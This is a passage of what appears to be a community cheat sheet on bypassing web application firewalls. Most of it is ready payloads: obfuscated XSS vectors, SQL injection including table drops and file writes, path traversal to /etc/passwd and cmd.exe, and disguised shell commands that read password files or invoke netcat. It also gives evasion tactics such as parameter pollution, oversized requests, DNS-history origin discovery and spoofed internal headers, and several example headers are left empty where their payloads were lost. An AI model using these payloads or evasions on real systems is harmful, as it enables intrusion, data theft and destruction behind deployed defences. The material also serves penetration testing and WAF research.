Bypassed Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Step 8:
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr
Blocked Attempt: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed Injection: 1 || lpad(user,7,1)
• Step 9:
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space
Blocked Attempt: 1 || lpad(user,7,1)
Bypassed Injection: 1%0b||%0blpad(user,7,1)
Encoding payload to different encodings (a hit and trial approach).
You can encode whole payload, or some parts of it and test recursively.
1. Case Toggling
Some poorly developed WAFs filter selectively specific case WAFs.
We can combine upper and lower case characters for developing efficient payloads.
Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>
Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL Encoding
Encode normal payloads with % encoding/URL encoding.
Can be done with online tools like this.
Burp includes a in-built encoder/decoder.
Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Unicode Normalization
ASCII characters in unicode encoding encoding provide great variants for bypassing.
You can encode entire/part of the payload for obtaining results.
Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>
Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)
Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode alternative)
Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. HTML Representation
Often web apps encode special characters into HTML encoding and render them accordingly.
This leads us to basic bypass cases with HTML encoding (numeric/generic).
Standard: "><img src=x onerror=confirm()>
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)
5. Mixed Encoding
Sometimes, WAF rules often tend to filter out a specific type of encoding.
This type of filters can be bypassed by mixed encoding payloads.
Tabs and newlines further add to obfuscation.
Obfuscated:
6. Using Comments
Comments obfuscate standard payload vectors.
Different payloads have different ways of obfuscation.
Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>
Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--
7. Double Encoding
Often WAF filters tend to encode characters to prevent attacks.
However poorly developed filters (no recursion filters) can be bypassed with double encoding.
Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E
8. Wildcard Obfuscation
Globbing patterns are used by various command-line utilities to work with multiple files.
We can tweak them to execute system commands.
Specific to remote code execution vulnerabilities on linux systems.
Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s
Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]
9. Dynamic Payload Generation
Different programming languages have different syntaxes and patterns for concatenation.
This allows us to effectively generate payloads that can bypass many filters and rules.
Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>
Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd
Bash allows path concatenation for execution.
Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated: <iframe/onload='this["src"]="jav"+"as	cr"+"ipt:al"+"er"+"t()"';>
9. Junk Characters
Normal payloads get filtered out easily.
Adding some junk chars helps avoid detection (specific cases only).
They often help in confusing regex based firewalls.
Standard: <script>alert()</script>
Obfuscated: <script>+-+-1-+-+alert(1)</script>
Standard: <BODY onload=alert()>
Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>
NOTE: The above payload can break the regex parser to cause an exception.
Standard: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
10. Line Breaks
Many WAF with regex based filtering effectively blocks many attempts.
Line breaks (CR/LF) can break firewall regex and bypass stuff.
Standard: <iframe src=javascript:confirm(0)">
Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">
11. Uninitialized Variables
Uninitialized bash variables can evade bad regular expression based filters and pattern match.
These have value equal to null/they act like empty strings.
Both bash and perl allow this kind of interpretations.
BONUS: Variable names can have any number of random characters. I have represented them here as
$aaaaaa,$bbbbbb, and so on. You can replace them with any number of random chars like$ushdjahand so on. ;)
Level 1 Obfuscation: Normal
Standard: /bin/cat /etc/passwd
Obfuscated: /bin/cat$u /etc/passwd$u
Level 2 Obfuscation: Postion Based
Standard: /bin/cat /etc/passwd
Obfuscated: $u/bin$u/cat$u $u/etc$u/passwd$u
Level 3 Obfuscation: Random characters
Standard: /bin/cat /etc/passwd
Obfuscated: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
An exotic payload crafted:
12. Tabs and Line Feeds
Tabs often help to evade firewalls especially regex based ones.
Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.
Standard: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
Variant: <IMG SRC=" jav ascri pt:alert ();">
Standard: http://test.com/test?id=1 union select 1,2,3
Standard: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Standard: <iframe src=javascript:alert(1)></iframe>
Obfuscated:
13. Token Breakers
Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
However, the request must still remain valid while using token-breakers.
Case: Unknown Token for the Tokenizer
Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
Case: Unknown Context for the Parser (Notice the uncontexted bracket)
Payload 1: ?id=123);DROP TABLE users --
Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --
TIP: More payloads can be crafted via this cheat sheet.
14. Obfuscation in Other Formats
Many web applications support different encoding types and can interpret the encoding (see below).
Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
Case: IIS
IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.
We can encode our payload and send the encoded parameters with the query.
Original Request:
Obfuscated Request + URL Encoding:
The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):
TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.
Nginx, uWSGI-Django-Python3
IBM037, IBM500, cp875, IBM1026, IBM273
Query string and body need to be encoded.
Url-decoded parameters in query string and body.
Equal sign and ampersand needed to be encoded as well (no url-encoding).
Nginx, uWSGI-Django-Python2
IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
Query string and body need to be encoded.
Url-decoded parameters in query string and body afterwards.
Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT8-JVM1.8-JSP
IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
Query string in its original format (could be url-encoded as usual).
Body could be sent with/without url-encoding.
Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT7-JVM1.6-JSP
IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
Query string in its original format (could be url-encoded as usual).
Body could be sent with/without url-encoding.
Equal sign and ampersand should not be encoded in any way.
IIS6, 7.5, 8, 10 -ASPX (v4.x)
IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025
Query string in its original format (could be url-encoded as usual).
Body could be sent with/without url-encoding.
Equal sign and ampersand should not be encoded in any way.
This attack method is based on how a server interprets parameters with the same names.
Possible bypass chances here are:
The server uses the last received parameter, and WAF checks only the first.
The server unites the value from similar parameters, and WAF checks them separately.
The idea is to enumerate how the parameters are being interpreted by the server.
In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
ASP/IIS
Concatenation by comma
par1=val1,val2
JSP, Servlet/Apache Tomcat
First parameter is resulting
par1=val1
ASP.NET/IIS
Concatenation by comma
par1=val1,val2
PHP/Zeus
Last parameter is resulting
par1=val2
PHP/Apache
Last parameter is resulting
par1=val2
JSP, Servlet/Jetty
First parameter is resulting
par1=val1
IBM Lotus Domino
First parameter is resulting
par1=val1
IBM HTTP Server
Last parameter is resulting
par1=val2
mod_perl, libapeq2/Apache
First parameter is resulting
par1=val1
Oracle Application Server 10G
First parameter is resulting
par1=val1
Perl CGI/Apache
First parameter is resulting
par1=val1
Python/Zope
First parameter is resulting
par1=val1
IceWarp
An array is returned
['val1','val2']
AXIS 2400
Last parameter is resulting
par1=val2
DBMan
Concatenation by two tildes
par1=val1~~val2
mod-wsgi (Python)/Apache
An array is returned
ARRAY(0x8b9058c)
HPF is based on the principle where the server unites the value being passed along the parameters.
We can split the payload into different components and then pass the values via the parameters.
Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIP: A real life example how bypasses can be crafted using this method can be found here.
We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
When the site decodes the string, the payload gets triggered.
Example request:
When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.
Final URL encoded payload:
The null bytes are commonly used as string terminator.
This can help us evade many web application filters in case they are not filtering out the null bytes.
Payload examples:
Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>
RFC states that NodeNames cannot begin with whitespace.
But we can use special chars like %, //, !, ?, etc.
Examples:
<// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
<!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
<%div%20style=xss:expression(prompt(1))> - Works Upto IE7
Every browser has their own specific charset of separators.
We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.
We can use these separators in places where a space is required.
Here is a compiled list of separators by @Masato Kinugawa:
IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
Safari: 0x2C, 0x3B
FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
Opera: 0x09, 0x20, 0x2C, 0x3B
Android: 0x09, 0x20, 0x28, 0x2C, 0x3B
An exotic payload example:
This method aims at finding a way of exploitation not considered by the WAF developers.
Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
This payload is accepted and executed by the server after going through the firewall.
Some common keywords overlooked by WAF developers:
JavaScript functions:
window
parent
this
self
Tag attributes:
onwheel
ontoggle
onfilterchange
onbeforescriptexecute
ondragstart
onauxclick
onpointerover
srcdoc
SQL Operators
lpad
field
bit_count
Example Payloads:
Case: XSS
Case: SQLi
Many alternatives to the original JavaScript can be used, namely:
However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
Find out the ciphers supported by the server (tools like SSLScan helps here).
If a specific cipher not supported by WAF but by the server, is found, voila!
Initiating a new connection to the server with that specific cipher should smuggle our payload in.
Tool: abuse-ssl-bypass-waf
CLI tools like cURL can come very handy for PoCs:
Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.
By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.
Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
Once done, attach your payload to the request after filling the limit with garbage.
A similar technique was used to bypass Google Cloud Platform WAF.
Often old historical DNS records provide information about the location of the site behind the WAF.
The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.
TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.
Tool: bypass-firewalls-by-DNS-history
Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
This shared secret, if leaked/known, can be used to bypass all protections within the WAF.
Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
Usually some *-sync-request keywords or a shared token value is used as the secret.
Often adding specific headers may trigger a similar whitelist behaviour.
Now when making a request to the server, you can append it as a parameter:
A real life example how this works can be found at this blog.
The target is to fool the WAF/server into believing it was from their internal network.
Adding some spoofed headers to represent the internal network, does the trick.
With each request some set of headers are to be added simultaneously thus spoofing the origin.
The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.
Some common headers used:
There are a lot of known bypasses of various web application firewalls (see section).
With the help of google dorks, we can easily find bypasses.
Before anything else, you should hone up skills from Google Dorks Cheat Sheet.
Normal search:
+<wafname> waf bypass
Searching for specific version exploits:
"<wafname> <version>" (bypass|exploit)
For specific type bypass exploits:
"<wafname>" +<bypass type> (bypass|exploit)
On Exploit DB:
site:exploit-db.com +<wafname> bypass
On 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit)
On Twitter:
site:twitter.com +<wafname> bypass
On Pastebin
site:pastebin.com +<wafname> bypass
SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
XSS Bypass by @kmkz
Cross Site Scripting by @WAFNinja
HTML Injection by @Global-Evolution
XSS Bypass by @0xInfection
Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son
Protected Admin Scripts Bypass by @ed0x21son
REST API Disable Bypass by @ed0x21son
SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security
XSS Bypass by @Ahmet Ümit
XSS Bypass by @RenwaX23 (Chrome only)
XSS Bypass by @0xInfection
SQLi by @WAFNinja
Firewall disable by (v5.0) by @hyp3rlinx
Remote Command Execution (v3.8-5) by @John Dos
Persistent XSS (v4.0) by @EnableSecurity
R-XSS Bypass by @WAFNinja
XSS Bypass by @0xInfection
GET - XSS Bypass (v4.02) by @DavidK
POST - XSS Bypass (v4.02) by @DavidK
clave XSS (v4.02) by @DavidK
pcre_expression unvaidated XSS by @Benjamin Mejri
CSP Bypass by @Binar10
POST Type Query
GET Type Query
XSS Bypass by @WAFNinja
XSS Bypass by @WAFNinja
XSS Bypass by @Aatif Khan
POST Based XXE by @Anonymous
Directory Traversal by @Anastasios Monachos
Read Arbitrary File
Delete Arbitrary File
SQLi Bypass from @Anonymous
RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)
RCE Payloads for PL3 by @theMiddle (v3.0)
SQLi Bypass by @Johannes Dahse (v2.2)
SQLi Bypass by @Yuri Goltsev (v2.2)
SQLi Bypass by @Ahmad Maulana (v2.2)
SQLi Bypass by @Travis Lee (v2.2)
SQLi Bypass by @Roberto Salgado (v2.2)
SQLi Bypass by @Georgi Geshev (v2.2)
SQLi Bypass by @SQLMap Devs (v2.2)
SQLi Bypass by @HackPlayers (v2.2)
XSS Bypass by @David Y
XSS Bypass by @Emad Shanab
XSS Bypass by @WAFNinja
XSS Bypass by @i_bo0om
XSS Bypass by @c0d3g33k
SQLi Bypass by @DRK1WI
SQLi by @Giuseppe D'Amore
XSS Bypass by @0xInfection
GET Type CSRF Attack by @Michael Brooks (>= v.2.6.2)
Turn off Proface Machine
Add a proxy
XSS Bypass by @Michael Brooks (>= v.2.6.2)
XSS Bypass by @EnableSecurity (>= v2.4)
XSS Bypass by @WAFNinja
XSS Bypass by @Luka
Directory Traversal by @ZeQ3uL (<= v3.1) (Only on ASP.NET)
Cross Site Scripting by @0xInfection
Cross Site Scripting by @WAFNinja
SQLi by @WAFNinja
XSS Bypass by @Aatif Khan (v4.1)
XSS Bypass by @brute Logic
XSS Bypass by @0xInfection
XSS Exploit by @MustLive (>= v3.3.5)
Writing method type in lowercase by @i_bo0om
Tabs before method by @i_bo0om
WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity.
Lightbulb Framework - A WAF testing suite written in Python.
WAF Testing Framework - A WAF testing tool by Imperva.
Framework for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.
WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou.
libinjection-fuzzer - A fuzzer intended for finding libinjection bypasses but can be probably used universally.
bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF.
abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.
SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.
Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.
enumXFF - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions
AWS Firewall Factory - Deploy, update, and stage your WAFs while managing them centrally via FMS.
Many of the content mentioned above have been taken from some of the following excellent writeups.
Protocol Level WAF Evasion - A protocol level WAF evasion techniques and analysis by Qualys.
Neural Network based WAF for SQLi - A paper about building a neural network based WAF for detecting SQLi attacks.
Bypassing Web Application Firewalls with HTTP Parameter Pollution - A research paper from Exploit DB about effectively bypassing WAFs via HTTP Parameter Pollution.
Poking A Hole in the Firewall - A paper by Rafay Baloch about modern firewall analysis.
Modern WAF Fingerprinting and XSS Filter Bypass - A paper by Rafay Baloch about WAF fingerprinting and bypassing XSS filters.
WAF Evasion Testing - A WAF evasion testing guide from SANS.
Side Channel Attacks for Fingerprinting WAF Filter Rules - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
WASC WAF Evaluation Criteria - A guide for WAF Evaluation from Web Application Security Consortium.
WAF Evaluation and Analysis - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from University of Amsterdam.
Bypassing all WAF XSS Filters - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
Beyond SQLi - Obfuscate and Bypass WAFs - A research paper from Exploit Database about obfuscating SQL injection queries to effectively bypass WAFs.
Bypassing WAF XSS Detection Mechanisms - A research paper about bypassing XSS detection mechanisms in WAFs.
Methods to Bypass a Web Application Firewall - A presentation from PT Security about bypassing WAF filters and evasion.
Web Application Firewall Bypassing (How to Defeat the Blue Team) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by @OWASP.
WAF Profiling & Evasion Techniques - A WAF testing and evasion guide from OWASP.
Protocol Level WAF Evasion Techniques - A presentation at about efficiently evading WAFs at protocol level from BlackHat US 12.
Analysing Attacking Detection Logic Mechanisms - A presentation about WAF logic applied to detecting attacks from BlackHat US 16.
WAF Bypasses and PHP Exploits - A presentation about evading WAFs and developing related PHP exploits.
Side Channel Attacks for Fingerprinting WAF Filter Rules - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
Our Favorite XSS Filters/IDS and how to Attack Them - A presentation about how to evade XSS filters set by WAF rules from BlackHat USA 09.
Playing Around with WAFs - A small presentation about WAF profiling and playing around with them from Defcon 16.
A Forgotten HTTP Invisibility Cloak - A presentation about techniques that can be used to bypass common WAFs from BSides Manchester.
Building Your Own WAF as a Service and Forgetting about False Positives - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency Auscert2019.
Initial fingerprint compilation and bypasses were put together by Pinaki (0xInfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the Apache 2.0 License.
